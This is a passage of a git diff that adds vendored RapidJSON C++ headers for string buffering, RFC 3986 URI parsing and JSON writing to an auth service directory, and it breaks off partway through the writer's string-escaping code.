stack_.Clear(); } + void ShrinkToFit() { + // Push and pop a null terminator. This is safe. + *stack_.template Push() = '\0'; + stack_.ShrinkToFit(); + stack_.template Pop(1); + } + + void Reserve(size_t count) { stack_.template Reserve(count); } + Ch* Push(size_t count) { return stack_.template Push(count); } + Ch* PushUnsafe(size_t count) { return stack_.template PushUnsafe(count); } + void Pop(size_t count) { stack_.template Pop(count); } + + const Ch* GetString() const { + // Push and pop a null terminator. This is safe. + *stack_.template Push() = '\0'; + stack_.template Pop(1); + + return stack_.template Bottom(); + } + + //! Get the size of string in bytes in the string buffer. + size_t GetSize() const { return stack_.GetSize(); } + + //! Get the length of string in Ch in the string buffer. + size_t GetLength() const { return stack_.GetSize() / sizeof(Ch); } + + static const size_t kDefaultCapacity = 256; + mutable internal::Stack stack_; + +private: + // Prohibit copy constructor & assignment operator. + GenericStringBuffer(const GenericStringBuffer&); + GenericStringBuffer& operator=(const GenericStringBuffer&); +}; + +//! String buffer with UTF8 encoding +typedef GenericStringBuffer > StringBuffer; + +template +inline void PutReserve(GenericStringBuffer& stream, size_t count) { + stream.Reserve(count); +} + +template +inline void PutUnsafe(GenericStringBuffer& stream, typename Encoding::Ch c) { + stream.PutUnsafe(c); +} + +//! Implement specialized version of PutN() with memset() for better performance. +template<> +inline void PutN(GenericStringBuffer >& stream, char c, size_t n) { + std::memset(stream.stack_.Push(n), c, n * sizeof(c)); +} + +RAPIDJSON_NAMESPACE_END + +#if defined(__clang__) +RAPIDJSON_DIAG_POP +#endif + +#endif // RAPIDJSON_STRINGBUFFER_H_ diff --git a/services/service2/src/auth_service/rapidjson/uri.h b/services/service2/src/auth_service/rapidjson/uri.h new file mode 100644 index 0000000..f93e508 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/uri.h @@ -0,0 +1,481 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// (C) Copyright IBM Corporation 2021 +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_URI_H_ +#define RAPIDJSON_URI_H_ + +#include "internal/strfunc.h" + +#if defined(__clang__) +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(c++98-compat) +#elif defined(_MSC_VER) +RAPIDJSON_DIAG_OFF(4512) // assignment operator could not be generated +#endif + +RAPIDJSON_NAMESPACE_BEGIN + +/////////////////////////////////////////////////////////////////////////////// +// GenericUri + +template +class GenericUri { +public: + typedef typename ValueType::Ch Ch; +#if RAPIDJSON_HAS_STDSTRING + typedef std::basic_string String; +#endif + + //! Constructors + GenericUri(Allocator* allocator = 0) : uri_(), base_(), scheme_(), auth_(), path_(), query_(), frag_(), allocator_(allocator), ownAllocator_() { + } + + GenericUri(const Ch* uri, SizeType len, Allocator* allocator = 0) : uri_(), base_(), scheme_(), auth_(), path_(), query_(), frag_(), allocator_(allocator), ownAllocator_() { + Parse(uri, len); + } + + GenericUri(const Ch* uri, Allocator* allocator = 0) : uri_(), base_(), scheme_(), auth_(), path_(), query_(), frag_(), allocator_(allocator), ownAllocator_() { + Parse(uri, internal::StrLen(uri)); + } + + // Use with specializations of GenericValue + template GenericUri(const T& uri, Allocator* allocator = 0) : uri_(), base_(), scheme_(), auth_(), path_(), query_(), frag_(), allocator_(allocator), ownAllocator_() { + const Ch* u = uri.template Get(); // TypeHelper from document.h + Parse(u, internal::StrLen(u)); + } + +#if RAPIDJSON_HAS_STDSTRING + GenericUri(const String& uri, Allocator* allocator = 0) : uri_(), base_(), scheme_(), auth_(), path_(), query_(), frag_(), allocator_(allocator), ownAllocator_() { + Parse(uri.c_str(), internal::StrLen(uri.c_str())); + } +#endif + + //! Copy constructor + GenericUri(const GenericUri& rhs) : uri_(), base_(), scheme_(), auth_(), path_(), query_(), frag_(), allocator_(), ownAllocator_() { + *this = rhs; + } + + //! Copy constructor + GenericUri(const GenericUri& rhs, Allocator* allocator) : uri_(), base_(), scheme_(), auth_(), path_(), query_(), frag_(), allocator_(allocator), ownAllocator_() { + *this = rhs; + } + + //! Destructor. + ~GenericUri() { + Free(); + RAPIDJSON_DELETE(ownAllocator_); + } + + //! Assignment operator + GenericUri& operator=(const GenericUri& rhs) { + if (this != &rhs) { + // Do not delete ownAllocator + Free(); + Allocate(rhs.GetStringLength()); + auth_ = CopyPart(scheme_, rhs.scheme_, rhs.GetSchemeStringLength()); + path_ = CopyPart(auth_, rhs.auth_, rhs.GetAuthStringLength()); + query_ = CopyPart(path_, rhs.path_, rhs.GetPathStringLength()); + frag_ = CopyPart(query_, rhs.query_, rhs.GetQueryStringLength()); + base_ = CopyPart(frag_, rhs.frag_, rhs.GetFragStringLength()); + uri_ = CopyPart(base_, rhs.base_, rhs.GetBaseStringLength()); + CopyPart(uri_, rhs.uri_, rhs.GetStringLength()); + } + return *this; + } + + //! Getters + // Use with specializations of GenericValue + template void Get(T& uri, Allocator& allocator) { + uri.template Set(this->GetString(), allocator); // TypeHelper from document.h + } + + const Ch* GetString() const { return uri_; } + SizeType GetStringLength() const { return uri_ == 0 ? 0 : internal::StrLen(uri_); } + const Ch* GetBaseString() const { return base_; } + SizeType GetBaseStringLength() const { return base_ == 0 ? 0 : internal::StrLen(base_); } + const Ch* GetSchemeString() const { return scheme_; } + SizeType GetSchemeStringLength() const { return scheme_ == 0 ? 0 : internal::StrLen(scheme_); } + const Ch* GetAuthString() const { return auth_; } + SizeType GetAuthStringLength() const { return auth_ == 0 ? 0 : internal::StrLen(auth_); } + const Ch* GetPathString() const { return path_; } + SizeType GetPathStringLength() const { return path_ == 0 ? 0 : internal::StrLen(path_); } + const Ch* GetQueryString() const { return query_; } + SizeType GetQueryStringLength() const { return query_ == 0 ? 0 : internal::StrLen(query_); } + const Ch* GetFragString() const { return frag_; } + SizeType GetFragStringLength() const { return frag_ == 0 ? 0 : internal::StrLen(frag_); } + +#if RAPIDJSON_HAS_STDSTRING + static String Get(const GenericUri& uri) { return String(uri.GetString(), uri.GetStringLength()); } + static String GetBase(const GenericUri& uri) { return String(uri.GetBaseString(), uri.GetBaseStringLength()); } + static String GetScheme(const GenericUri& uri) { return String(uri.GetSchemeString(), uri.GetSchemeStringLength()); } + static String GetAuth(const GenericUri& uri) { return String(uri.GetAuthString(), uri.GetAuthStringLength()); } + static String GetPath(const GenericUri& uri) { return String(uri.GetPathString(), uri.GetPathStringLength()); } + static String GetQuery(const GenericUri& uri) { return String(uri.GetQueryString(), uri.GetQueryStringLength()); } + static String GetFrag(const GenericUri& uri) { return String(uri.GetFragString(), uri.GetFragStringLength()); } +#endif + + //! Equality operators + bool operator==(const GenericUri& rhs) const { + return Match(rhs, true); + } + + bool operator!=(const GenericUri& rhs) const { + return !Match(rhs, true); + } + + bool Match(const GenericUri& uri, bool full = true) const { + Ch* s1; + Ch* s2; + if (full) { + s1 = uri_; + s2 = uri.uri_; + } else { + s1 = base_; + s2 = uri.base_; + } + if (s1 == s2) return true; + if (s1 == 0 || s2 == 0) return false; + return internal::StrCmp(s1, s2) == 0; + } + + //! Resolve this URI against another (base) URI in accordance with URI resolution rules. + // See https://tools.ietf.org/html/rfc3986 + // Use for resolving an id or $ref with an in-scope id. + // Returns a new GenericUri for the resolved URI. + GenericUri Resolve(const GenericUri& baseuri, Allocator* allocator = 0) { + GenericUri resuri; + resuri.allocator_ = allocator; + // Ensure enough space for combining paths + resuri.Allocate(GetStringLength() + baseuri.GetStringLength() + 1); // + 1 for joining slash + + if (!(GetSchemeStringLength() == 0)) { + // Use all of this URI + resuri.auth_ = CopyPart(resuri.scheme_, scheme_, GetSchemeStringLength()); + resuri.path_ = CopyPart(resuri.auth_, auth_, GetAuthStringLength()); + resuri.query_ = CopyPart(resuri.path_, path_, GetPathStringLength()); + resuri.frag_ = CopyPart(resuri.query_, query_, GetQueryStringLength()); + resuri.RemoveDotSegments(); + } else { + // Use the base scheme + resuri.auth_ = CopyPart(resuri.scheme_, baseuri.scheme_, baseuri.GetSchemeStringLength()); + if (!(GetAuthStringLength() == 0)) { + // Use this auth, path, query + resuri.path_ = CopyPart(resuri.auth_, auth_, GetAuthStringLength()); + resuri.query_ = CopyPart(resuri.path_, path_, GetPathStringLength()); + resuri.frag_ = CopyPart(resuri.query_, query_, GetQueryStringLength()); + resuri.RemoveDotSegments(); + } else { + // Use the base auth + resuri.path_ = CopyPart(resuri.auth_, baseuri.auth_, baseuri.GetAuthStringLength()); + if (GetPathStringLength() == 0) { + // Use the base path + resuri.query_ = CopyPart(resuri.path_, baseuri.path_, baseuri.GetPathStringLength()); + if (GetQueryStringLength() == 0) { + // Use the base query + resuri.frag_ = CopyPart(resuri.query_, baseuri.query_, baseuri.GetQueryStringLength()); + } else { + // Use this query + resuri.frag_ = CopyPart(resuri.query_, query_, GetQueryStringLength()); + } + } else { + if (path_[0] == '/') { + // Absolute path - use all of this path + resuri.query_ = CopyPart(resuri.path_, path_, GetPathStringLength()); + resuri.RemoveDotSegments(); + } else { + // Relative path - append this path to base path after base path's last slash + size_t pos = 0; + if (!(baseuri.GetAuthStringLength() == 0) && baseuri.GetPathStringLength() == 0) { + resuri.path_[pos] = '/'; + pos++; + } + size_t lastslashpos = baseuri.GetPathStringLength(); + while (lastslashpos > 0) { + if (baseuri.path_[lastslashpos - 1] == '/') break; + lastslashpos--; + } + std::memcpy(&resuri.path_[pos], baseuri.path_, lastslashpos * sizeof(Ch)); + pos += lastslashpos; + resuri.query_ = CopyPart(&resuri.path_[pos], path_, GetPathStringLength()); + resuri.RemoveDotSegments(); + } + // Use this query + resuri.frag_ = CopyPart(resuri.query_, query_, GetQueryStringLength()); + } + } + } + // Always use this frag + resuri.base_ = CopyPart(resuri.frag_, frag_, GetFragStringLength()); + + // Re-constitute base_ and uri_ + resuri.SetBase(); + resuri.uri_ = resuri.base_ + resuri.GetBaseStringLength() + 1; + resuri.SetUri(); + return resuri; + } + + //! Get the allocator of this GenericUri. + Allocator& GetAllocator() { return *allocator_; } + +private: + // Allocate memory for a URI + // Returns total amount allocated + std::size_t Allocate(std::size_t len) { + // Create own allocator if user did not supply. + if (!allocator_) + ownAllocator_ = allocator_ = RAPIDJSON_NEW(Allocator)(); + + // Allocate one block containing each part of the URI (5) plus base plus full URI, all null terminated. + // Order: scheme, auth, path, query, frag, base, uri + // Note need to set, increment, assign in 3 stages to avoid compiler warning bug. + size_t total = (3 * len + 7) * sizeof(Ch); + scheme_ = static_cast(allocator_->Malloc(total)); + *scheme_ = '\0'; + auth_ = scheme_; + auth_++; + *auth_ = '\0'; + path_ = auth_; + path_++; + *path_ = '\0'; + query_ = path_; + query_++; + *query_ = '\0'; + frag_ = query_; + frag_++; + *frag_ = '\0'; + base_ = frag_; + base_++; + *base_ = '\0'; + uri_ = base_; + uri_++; + *uri_ = '\0'; + return total; + } + + // Free memory for a URI + void Free() { + if (scheme_) { + Allocator::Free(scheme_); + scheme_ = 0; + } + } + + // Parse a URI into constituent scheme, authority, path, query, & fragment parts + // Supports URIs that match regex ^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))? as per + // https://tools.ietf.org/html/rfc3986 + void Parse(const Ch* uri, std::size_t len) { + std::size_t start = 0, pos1 = 0, pos2 = 0; + Allocate(len); + + // Look for scheme ([^:/?#]+):)? + if (start < len) { + while (pos1 < len) { + if (uri[pos1] == ':') break; + pos1++; + } + if (pos1 != len) { + while (pos2 < len) { + if (uri[pos2] == '/') break; + if (uri[pos2] == '?') break; + if (uri[pos2] == '#') break; + pos2++; + } + if (pos1 < pos2) { + pos1++; + std::memcpy(scheme_, &uri[start], pos1 * sizeof(Ch)); + scheme_[pos1] = '\0'; + start = pos1; + } + } + } + // Look for auth (//([^/?#]*))? + // Note need to set, increment, assign in 3 stages to avoid compiler warning bug. + auth_ = scheme_ + GetSchemeStringLength(); + auth_++; + *auth_ = '\0'; + if (start < len - 1 && uri[start] == '/' && uri[start + 1] == '/') { + pos2 = start + 2; + while (pos2 < len) { + if (uri[pos2] == '/') break; + if (uri[pos2] == '?') break; + if (uri[pos2] == '#') break; + pos2++; + } + std::memcpy(auth_, &uri[start], (pos2 - start) * sizeof(Ch)); + auth_[pos2 - start] = '\0'; + start = pos2; + } + // Look for path ([^?#]*) + // Note need to set, increment, assign in 3 stages to avoid compiler warning bug. + path_ = auth_ + GetAuthStringLength(); + path_++; + *path_ = '\0'; + if (start < len) { + pos2 = start; + while (pos2 < len) { + if (uri[pos2] == '?') break; + if (uri[pos2] == '#') break; + pos2++; + } + if (start != pos2) { + std::memcpy(path_, &uri[start], (pos2 - start) * sizeof(Ch)); + path_[pos2 - start] = '\0'; + if (path_[0] == '/') + RemoveDotSegments(); // absolute path - normalize + start = pos2; + } + } + // Look for query (\?([^#]*))? + // Note need to set, increment, assign in 3 stages to avoid compiler warning bug. + query_ = path_ + GetPathStringLength(); + query_++; + *query_ = '\0'; + if (start < len && uri[start] == '?') { + pos2 = start + 1; + while (pos2 < len) { + if (uri[pos2] == '#') break; + pos2++; + } + if (start != pos2) { + std::memcpy(query_, &uri[start], (pos2 - start) * sizeof(Ch)); + query_[pos2 - start] = '\0'; + start = pos2; + } + } + // Look for fragment (#(.*))? + // Note need to set, increment, assign in 3 stages to avoid compiler warning bug. + frag_ = query_ + GetQueryStringLength(); + frag_++; + *frag_ = '\0'; + if (start < len && uri[start] == '#') { + std::memcpy(frag_, &uri[start], (len - start) * sizeof(Ch)); + frag_[len - start] = '\0'; + } + + // Re-constitute base_ and uri_ + base_ = frag_ + GetFragStringLength() + 1; + SetBase(); + uri_ = base_ + GetBaseStringLength() + 1; + SetUri(); + } + + // Reconstitute base + void SetBase() { + Ch* next = base_; + std::memcpy(next, scheme_, GetSchemeStringLength() * sizeof(Ch)); + next+= GetSchemeStringLength(); + std::memcpy(next, auth_, GetAuthStringLength() * sizeof(Ch)); + next+= GetAuthStringLength(); + std::memcpy(next, path_, GetPathStringLength() * sizeof(Ch)); + next+= GetPathStringLength(); + std::memcpy(next, query_, GetQueryStringLength() * sizeof(Ch)); + next+= GetQueryStringLength(); + *next = '\0'; + } + + // Reconstitute uri + void SetUri() { + Ch* next = uri_; + std::memcpy(next, base_, GetBaseStringLength() * sizeof(Ch)); + next+= GetBaseStringLength(); + std::memcpy(next, frag_, GetFragStringLength() * sizeof(Ch)); + next+= GetFragStringLength(); + *next = '\0'; + } + + // Copy a part from one GenericUri to another + // Return the pointer to the next part to be copied to + Ch* CopyPart(Ch* to, Ch* from, std::size_t len) { + RAPIDJSON_ASSERT(to != 0); + RAPIDJSON_ASSERT(from != 0); + std::memcpy(to, from, len * sizeof(Ch)); + to[len] = '\0'; + Ch* next = to + len + 1; + return next; + } + + // Remove . and .. segments from the path_ member. + // https://tools.ietf.org/html/rfc3986 + // This is done in place as we are only removing segments. + void RemoveDotSegments() { + std::size_t pathlen = GetPathStringLength(); + std::size_t pathpos = 0; // Position in path_ + std::size_t newpos = 0; // Position in new path_ + + // Loop through each segment in original path_ + while (pathpos < pathlen) { + // Get next segment, bounded by '/' or end + size_t slashpos = 0; + while ((pathpos + slashpos) < pathlen) { + if (path_[pathpos + slashpos] == '/') break; + slashpos++; + } + // Check for .. and . segments + if (slashpos == 2 && path_[pathpos] == '.' && path_[pathpos + 1] == '.') { + // Backup a .. segment in the new path_ + // We expect to find a previously added slash at the end or nothing + RAPIDJSON_ASSERT(newpos == 0 || path_[newpos - 1] == '/'); + size_t lastslashpos = newpos; + // Make sure we don't go beyond the start segment + if (lastslashpos > 1) { + // Find the next to last slash and back up to it + lastslashpos--; + while (lastslashpos > 0) { + if (path_[lastslashpos - 1] == '/') break; + lastslashpos--; + } + // Set the new path_ position + newpos = lastslashpos; + } + } else if (slashpos == 1 && path_[pathpos] == '.') { + // Discard . segment, leaves new path_ unchanged + } else { + // Move any other kind of segment to the new path_ + RAPIDJSON_ASSERT(newpos <= pathpos); + std::memmove(&path_[newpos], &path_[pathpos], slashpos * sizeof(Ch)); + newpos += slashpos; + // Add slash if not at end + if ((pathpos + slashpos) < pathlen) { + path_[newpos] = '/'; + newpos++; + } + } + // Move to next segment + pathpos += slashpos + 1; + } + path_[newpos] = '\0'; + } + + Ch* uri_; // Everything + Ch* base_; // Everything except fragment + Ch* scheme_; // Includes the : + Ch* auth_; // Includes the // + Ch* path_; // Absolute if starts with / + Ch* query_; // Includes the ? + Ch* frag_; // Includes the # + + Allocator* allocator_; //!< The current allocator. It is either user-supplied or equal to ownAllocator_. + Allocator* ownAllocator_; //!< Allocator owned by this Uri. +}; + +//! GenericUri for Value (UTF-8, default allocator). +typedef GenericUri Uri; + +RAPIDJSON_NAMESPACE_END + +#if defined(__clang__) +RAPIDJSON_DIAG_POP +#endif + +#endif // RAPIDJSON_URI_H_ diff --git a/services/service2/src/auth_service/rapidjson/writer.h b/services/service2/src/auth_service/rapidjson/writer.h new file mode 100644 index 0000000..8b38921 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/writer.h @@ -0,0 +1,710 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_WRITER_H_ +#define RAPIDJSON_WRITER_H_ + +#include "stream.h" +#include "internal/clzll.h" +#include "internal/meta.h" +#include "internal/stack.h" +#include "internal/strfunc.h" +#include "internal/dtoa.h" +#include "internal/itoa.h" +#include "stringbuffer.h" +#include // placement new + +#if defined(RAPIDJSON_SIMD) && defined(_MSC_VER) +#include +#pragma intrinsic(_BitScanForward) +#endif +#ifdef RAPIDJSON_SSE42 +#include +#elif defined(RAPIDJSON_SSE2) +#include +#elif defined(RAPIDJSON_NEON) +#include +#endif + +#ifdef __clang__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(padded) +RAPIDJSON_DIAG_OFF(unreachable-code) +RAPIDJSON_DIAG_OFF(c++98-compat) +#elif defined(_MSC_VER) +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(4127) // conditional expression is constant +#endif + +RAPIDJSON_NAMESPACE_BEGIN + +/////////////////////////////////////////////////////////////////////////////// +// WriteFlag + +/*! \def RAPIDJSON_WRITE_DEFAULT_FLAGS + \ingroup RAPIDJSON_CONFIG + \brief User-defined kWriteDefaultFlags definition. + + User can define this as any \c WriteFlag combinations. +*/ +#ifndef RAPIDJSON_WRITE_DEFAULT_FLAGS +#define RAPIDJSON_WRITE_DEFAULT_FLAGS kWriteNoFlags +#endif + +//! Combination of writeFlags +enum WriteFlag { + kWriteNoFlags = 0, //!< No flags are set. + kWriteValidateEncodingFlag = 1, //!< Validate encoding of JSON strings. + kWriteNanAndInfFlag = 2, //!< Allow writing of Infinity, -Infinity and NaN. + kWriteDefaultFlags = RAPIDJSON_WRITE_DEFAULT_FLAGS //!< Default write flags. Can be customized by defining RAPIDJSON_WRITE_DEFAULT_FLAGS +}; + +//! JSON writer +/*! Writer implements the concept Handler. + It generates JSON text by events to an output os. + + User may programmatically calls the functions of a writer to generate JSON text. + + On the other side, a writer can also be passed to objects that generates events, + + for example Reader::Parse() and Document::Accept(). + + \tparam OutputStream Type of output stream. + \tparam SourceEncoding Encoding of source string. + \tparam TargetEncoding Encoding of output stream. + \tparam StackAllocator Type of allocator for allocating memory of stack. + \note implements Handler concept +*/ +template, typename TargetEncoding = UTF8<>, typename StackAllocator = CrtAllocator, unsigned writeFlags = kWriteDefaultFlags> +class Writer { +public: + typedef typename SourceEncoding::Ch Ch; + + static const int kDefaultMaxDecimalPlaces = 324; + + //! Constructor + /*! \param os Output stream. + \param stackAllocator User supplied allocator. If it is null, it will create a private one. + \param levelDepth Initial capacity of stack. + */ + explicit + Writer(OutputStream& os, StackAllocator* stackAllocator = 0, size_t levelDepth = kDefaultLevelDepth) : + os_(&os), level_stack_(stackAllocator, levelDepth * sizeof(Level)), maxDecimalPlaces_(kDefaultMaxDecimalPlaces), hasRoot_(false) {} + + explicit + Writer(StackAllocator* allocator = 0, size_t levelDepth = kDefaultLevelDepth) : + os_(0), level_stack_(allocator, levelDepth * sizeof(Level)), maxDecimalPlaces_(kDefaultMaxDecimalPlaces), hasRoot_(false) {} + +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS + Writer(Writer&& rhs) : + os_(rhs.os_), level_stack_(std::move(rhs.level_stack_)), maxDecimalPlaces_(rhs.maxDecimalPlaces_), hasRoot_(rhs.hasRoot_) { + rhs.os_ = 0; + } +#endif + + //! Reset the writer with a new stream. + /*! + This function reset the writer with a new stream and default settings, + in order to make a Writer object reusable for output multiple JSONs. + + \param os New output stream. + \code + Writer writer(os1); + writer.StartObject(); + // ... + writer.EndObject(); + + writer.Reset(os2); + writer.StartObject(); + // ... + writer.EndObject(); + \endcode + */ + void Reset(OutputStream& os) { + os_ = &os; + hasRoot_ = false; + level_stack_.Clear(); + } + + //! Checks whether the output is a complete JSON. + /*! + A complete JSON has a complete root object or array. + */ + bool IsComplete() const { + return hasRoot_ && level_stack_.Empty(); + } + + int GetMaxDecimalPlaces() const { + return maxDecimalPlaces_; + } + + //! Sets the maximum number of decimal places for double output. + /*! + This setting truncates the output with specified number of decimal places. + + For example, + + \code + writer.SetMaxDecimalPlaces(3); + writer.StartArray(); + writer.Double(0.12345); // "0.123" + writer.Double(0.0001); // "0.0" + writer.Double(1.234567890123456e30); // "1.234567890123456e30" (do not truncate significand for positive exponent) + writer.Double(1.23e-4); // "0.0" (do truncate significand for negative exponent) + writer.EndArray(); + \endcode + + The default setting does not truncate any decimal places. You can restore to this setting by calling + \code + writer.SetMaxDecimalPlaces(Writer::kDefaultMaxDecimalPlaces); + \endcode + */ + void SetMaxDecimalPlaces(int maxDecimalPlaces) { + maxDecimalPlaces_ = maxDecimalPlaces; + } + + /*!@name Implementation of Handler + \see Handler + */ + //@{ + + bool Null() { Prefix(kNullType); return EndValue(WriteNull()); } + bool Bool(bool b) { Prefix(b ? kTrueType : kFalseType); return EndValue(WriteBool(b)); } + bool Int(int i) { Prefix(kNumberType); return EndValue(WriteInt(i)); } + bool Uint(unsigned u) { Prefix(kNumberType); return EndValue(WriteUint(u)); } + bool Int64(int64_t i64) { Prefix(kNumberType); return EndValue(WriteInt64(i64)); } + bool Uint64(uint64_t u64) { Prefix(kNumberType); return EndValue(WriteUint64(u64)); } + + //! Writes the given \c double value to the stream + /*! + \param d The value to be written. + \return Whether it is succeed. + */ + bool Double(double d) { Prefix(kNumberType); return EndValue(WriteDouble(d)); } + + bool RawNumber(const Ch* str, SizeType length, bool copy = false) { + RAPIDJSON_ASSERT(str != 0); + (void)copy; + Prefix(kNumberType); + return EndValue(WriteString(str, length)); + } + + bool String(const Ch* str, SizeType length, bool copy = false) { + RAPIDJSON_ASSERT(str != 0); + (void)copy; + Prefix(kStringType); + return EndValue(WriteString(str, length)); + } + +#if RAPIDJSON_HAS_STDSTRING + bool String(const std::basic_string& str) { + return String(str.data(), SizeType(str.size())); + } +#endif + + bool StartObject() { + Prefix(kObjectType); + new (level_stack_.template Push()) Level(false); + return WriteStartObject(); + } + + bool Key(const Ch* str, SizeType length, bool copy = false) { return String(str, length, copy); } + +#if RAPIDJSON_HAS_STDSTRING + bool Key(const std::basic_string& str) + { + return Key(str.data(), SizeType(str.size())); + } +#endif + + bool EndObject(SizeType memberCount = 0) { + (void)memberCount; + RAPIDJSON_ASSERT(level_stack_.GetSize() >= sizeof(Level)); // not inside an Object + RAPIDJSON_ASSERT(!level_stack_.template Top()->inArray); // currently inside an Array, not Object + RAPIDJSON_ASSERT(0 == level_stack_.template Top()->valueCount % 2); // Object has a Key without a Value + level_stack_.template Pop(1); + return EndValue(WriteEndObject()); + } + + bool StartArray() { + Prefix(kArrayType); + new (level_stack_.template Push()) Level(true); + return WriteStartArray(); + } + + bool EndArray(SizeType elementCount = 0) { + (void)elementCount; + RAPIDJSON_ASSERT(level_stack_.GetSize() >= sizeof(Level)); + RAPIDJSON_ASSERT(level_stack_.template Top()->inArray); + level_stack_.template Pop(1); + return EndValue(WriteEndArray()); + } + //@} + + /*! @name Convenience extensions */ + //@{ + + //! Simpler but slower overload. + bool String(const Ch* const& str) { return String(str, internal::StrLen(str)); } + bool Key(const Ch* const& str) { return Key(str, internal::StrLen(str)); } + + //@} + + //! Write a raw JSON value. + /*! + For user to write a stringified JSON as a value. + + \param json A well-formed JSON value. It should not contain null character within [0, length - 1] range. + \param length Length of the json. + \param type Type of the root of json. + */ + bool RawValue(const Ch* json, size_t length, Type type) { + RAPIDJSON_ASSERT(json != 0); + Prefix(type); + return EndValue(WriteRawValue(json, length)); + } + + //! Flush the output stream. + /*! + Allows the user to flush the output stream immediately. + */ + void Flush() { + os_->Flush(); + } + + static const size_t kDefaultLevelDepth = 32; + +protected: + //! Information for each nested level + struct Level { + Level(bool inArray_) : valueCount(0), inArray(inArray_) {} + size_t valueCount; //!< number of values in this level + bool inArray; //!< true if in array, otherwise in object + }; + + bool WriteNull() { + PutReserve(*os_, 4); + PutUnsafe(*os_, 'n'); PutUnsafe(*os_, 'u'); PutUnsafe(*os_, 'l'); PutUnsafe(*os_, 'l'); return true; + } + + bool WriteBool(bool b) { + if (b) { + PutReserve(*os_, 4); + PutUnsafe(*os_, 't'); PutUnsafe(*os_, 'r'); PutUnsafe(*os_, 'u'); PutUnsafe(*os_, 'e'); + } + else { + PutReserve(*os_, 5); + PutUnsafe(*os_, 'f'); PutUnsafe(*os_, 'a'); PutUnsafe(*os_, 'l'); PutUnsafe(*os_, 's'); PutUnsafe(*os_, 'e'); + } + return true; + } + + bool WriteInt(int i) { + char buffer[11]; + const char* end = internal::i32toa(i, buffer); + PutReserve(*os_, static_cast(end - buffer)); + for (const char* p = buffer; p != end; ++p) + PutUnsafe(*os_, static_cast(*p)); + return true; + } + + bool WriteUint(unsigned u) { + char buffer[10]; + const char* end = internal::u32toa(u, buffer); + PutReserve(*os_, static_cast(end - buffer)); + for (const char* p = buffer; p != end; ++p) + PutUnsafe(*os_, static_cast(*p)); + return true; + } + + bool WriteInt64(int64_t i64) { + char buffer[21]; + const char* end = internal::i64toa(i64, buffer); + PutReserve(*os_, static_cast(end - buffer)); + for (const char* p = buffer; p != end; ++p) + PutUnsafe(*os_, static_cast(*p)); + return true; + } + + bool WriteUint64(uint64_t u64) { + char buffer[20]; + char* end = internal::u64toa(u64, buffer); + PutReserve(*os_, static_cast(end - buffer)); + for (char* p = buffer; p != end; ++p) + PutUnsafe(*os_, static_cast(*p)); + return true; + } + + bool WriteDouble(double d) { + if (internal::Double(d).IsNanOrInf()) { + if (!(writeFlags & kWriteNanAndInfFlag)) + return false; + if (internal::Double(d).IsNan()) { + PutReserve(*os_, 3); + PutUnsafe(*os_, 'N'); PutUnsafe(*os_, 'a'); PutUnsafe(*os_, 'N'); + return true; + } + if (internal::Double(d).Sign()) { + PutReserve(*os_, 9); + PutUnsafe(*os_, '-'); + } + else + PutReserve(*os_, 8); + PutUnsafe(*os_, 'I'); PutUnsafe(*os_, 'n'); PutUnsafe(*os_, 'f'); + PutUnsafe(*os_, 'i'); PutUnsafe(*os_, 'n'); PutUnsafe(*os_, 'i'); PutUnsafe(*os_, 't'); PutUnsafe(*os_, 'y'); + return true; + } + + char buffer[25]; + char* end = internal::dtoa(d, buffer, maxDecimalPlaces_); + PutReserve(*os_, static_cast(end - buffer)); + for (char* p = buffer; p != end; ++p) + PutUnsafe(*os_, static_cast(*p)); + return true; + } + + bool WriteString(const Ch* str, SizeType length) { + static const typename OutputStream::Ch hexDigits[16] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' }; + static const char escape[256] = { +#define Z16 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 + //0 1 2 3 4 5 6 7 8 9 A B C D E F + 'u', 'u', 'u', 'u', 'u', 'u', 'u', 'u', 'b', 't', 'n', 'u', 'f', 'r', 'u', 'u', // 00 + 'u', 'u', 'u', 'u', 'u', 'u', 'u', 'u', 'u', 'u', 'u', 'u', 'u', 'u', 'u', 'u', // 10 + 0, 0, '"', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 20 + Z16, Z16, // 30~4F + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,'\\', 0, 0, 0, // 50 + Z16, Z16, Z16, Z16, Z16, Z16, Z16, Z16, Z16, Z16 // 60~FF +#undef Z16 + }; + + if (TargetEncoding::supportUnicode) + PutReserve(*os_, 2 + length * 6); // "\uxxxx..." + else + PutReserve(*os_, 2 + length * 12); // "\uxxxx\uyyyy..." + + PutUnsafe(*os_, '\"'); + GenericStringStream is(str); + while (ScanWriteUnescapedString(is, length)) { + const Ch c = is.Peek(); + if (!TargetEncoding::supportUnicode && static_cast(c) >= 0x80) { + // Unicode escaping + unsigned codepoint; + if (RAPIDJSON_UNLIKELY(!SourceEncoding::Decode(is, &codepoint))) + return false; + PutUnsafe(*os_, '\\'); + PutUnsafe(*os_, 'u'); + if (codepoint <= 0xD7FF || (codepoint >= 0xE000 && codepoint <= 0xFFFF)) { + PutUnsafe(*os_, hexDigits[(codepoint >> 12) & 15]); + 